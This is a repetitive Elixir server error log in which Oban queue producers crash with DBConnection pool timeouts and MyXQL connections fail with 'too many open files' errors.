** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:48:42.237924Z], limit: 5, uuid: "ff94832b-533e-4d9c-8321-49822e298d41", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.237930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56123>, refresh_timer: #Reference<0.2525715032.1077673987.56024>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:48:42.239899Z], limit: 3, uuid: "e1307894-6f1c-4d68-b40f-836026b779b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.239904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56124>, refresh_timer: #Reference<0.2525715032.1077673987.56082>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:48:42.240308Z], limit: 20, uuid: "d7832ced-cf79-4186-a4dc-14b78bf313a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.240313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56125>, refresh_timer: #Reference<0.2525715032.1068498948.80009>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:48:42.239035Z], limit: 50, uuid: "2ea6f509-a785-4664-9106-ab3246e61a3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.239041Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56126>, refresh_timer: #Reference<0.2525715032.1099431938.69386>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:48:42.239190Z], limit: 10, uuid: "01e3ea93-3eab-4946-a7ae-6d5378bd1166", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.239195Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56121>, refresh_timer: #Reference<0.2525715032.1077673987.56080>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:48:42.240365Z], limit: 5, uuid: "60447801-880e-4d7c-8fcd-902bdd91843d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:42.240370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56122>, refresh_timer: #Reference<0.2525715032.1077673987.56107>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:57.087000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:58.391000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:59.333000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:59.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:01.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:04.684000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:05.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:48:54.239141Z], limit: 20, uuid: "add6b728-70e1-4624-924c-082e29037c66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.239147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80355>, refresh_timer: #Reference<0.2525715032.1121189889.223642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:48:54.238916Z], limit: 3, uuid: "42a74e74-e1ba-47eb-81d3-a91cfd0f0410", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:54.238922Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80356>, refresh_timer: #Reference<0.2525715032.1121189889.223634>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
